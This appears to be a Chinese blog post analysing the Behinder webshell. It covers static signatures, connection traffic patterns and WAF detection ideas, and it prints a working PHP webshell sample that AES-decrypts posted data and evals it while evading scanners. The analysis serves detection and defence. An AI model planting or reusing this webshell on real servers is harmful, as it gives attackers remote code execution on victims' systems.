当前位置:网站首页>冰歇webshell初探
冰歇webshell初探
2022-08-04 05:32:00 【安鸾彭于晏】
木马样本:
<?php
class C{
public function __invoke($p)
{
eval($p."");
}
};
session_start();
isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&@call_user_func(new C(),$b[1]);
?>
可以看到冰蝎的木马先获取get参数pass,获取到之后随机生成一个key。然后后续再使用这个key当做AES128的秘钥进行解密并执行
根据webshell执行方式可以确定冰蝎木马存在以下静态特征:
- $_SESSION[]
Webshell一定会使用session变量在服务器缓存一个key用于流量密文的解密。
- openssl_decrypt()
Webshell由于需要让流量加密,所以需要使用openssl_decrypt函数来对流量进行加密
- call_user_func()
call_user_func()回调函数用于执行传递过来的php代码
- __invoke()
Webshell最常见的躲避静态查杀的版本,利用类的魔术方法来执行eval可绕过一些weshell查杀软件
※其中call_user_func()与魔术方法之间的配合在以前通常用于绕过安全狗,D盾等软waf的静态查杀,执行代码也不一定会只限于__invoker,也有可能是其他魔术方法
0x02 冰蝎webshell流量分析
冰蝎webshell跟控制端通讯流程
通过抓包发现冰蝎在存入webshell地址并建立连接会发送4个包
其中前两个包分别发送了两组phpsessionid与key,第三个包为获取基本信息(phpinfo)的包,第四个包为保持连接的包。
其中,第三个包的body长度为1112,第四个包body长度为2220,这两个包的长度为定长,且第四个包在保持连接的时候会一直产生,且PHPSESSIONID会变化。
通过查看冰蝎的通讯包会发现冰蝎的流量有如下特征:
- 交换key
请求包为GET请求,且带有参数;响应包为chunk编码,且返回16位hex字符串与一个PHPSESSIONID。
- 执行代码
请求包包含PHPSESSIONID,该id为建立连接时候返回的PHPSESSION中的其中一个;
响应包为chunk,且无PHPSESSIONID。
0x03 冰蝎webshell防护思路
临时防护
冰蝎发送的4个请求包中,其中获取信息的包(第三个),以及维持通讯包(第4个)body都是定长,没有跟随冰蝎的链接密码,或者目标ip域名等信息变化而变化,且body体为base64编码之后的aes密文,增删改任意字符都会造成解密失败。
解密
冰蝎在建立连接的前两个包会交换key与phpsessionid,waf端可以通过这两个回包的特征来判断是否会为冰蝎交换key的请求并缓存key与phpsessionid,然后通过进行后续检测请求中的PHHSESSIONID来判断是否为冰蝎的后续流量,并通过缓存的key来解密,解密的内容与普通的木马通讯差别不大。
边栏推荐
猜你喜欢
随机推荐
实现高并发服务器(二)
MVC自定义配置
tmux concept and usage
clssloader与双亲委派
【HIT-SC-LAB2】哈工大2022软件构造 实验2
webrtc代码解读一:音频数据的接收解码播放过程
Stream API
并发概念基础:并发、同步、阻塞
C语言数组的深度分析
[daily office][ssh]cheatsheet
【HIT-SC-MEMO7】哈工大2022软件构造 复习笔记7
线性表之动态数组(ArrayList)的自实现
vs2017 redist 下载地址
Rules.make - suitable for viewing in edit mode
【HIT-SC-LAB1】哈工大2022软件构造 实验1
JVM三大常量池与方法区
网络安全工程师们改不掉的“老毛病”
淘宝分布式文件系统存储引擎(一)
Socket编程详解
MySQL索引